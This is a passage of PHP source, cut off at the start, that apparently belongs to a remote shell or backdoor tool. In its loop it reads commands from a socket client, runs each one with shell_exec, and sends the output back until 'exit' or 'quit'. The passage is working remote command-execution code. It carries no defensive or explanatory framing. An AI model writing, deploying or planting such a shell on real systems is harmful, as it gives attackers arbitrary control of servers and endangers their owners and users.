");
while (true) {
$input = socket_read($client, 2048);
if ($input === false) {
break;
}
$input = trim($input);
if ($input == 'exit' || $input == 'quit') {
socket_write($client, "Goodbye!\n");
break;
}
$output = shell_exec($input . " 2>&1");
if ($output === null || $output === '') {
$output = "Command executed (no output)\n";
}
socket_write($client, $output . "\n> ");
}
socket_close($client);
socket_close($sock);
echo "[+] Connection closed.\n";
?>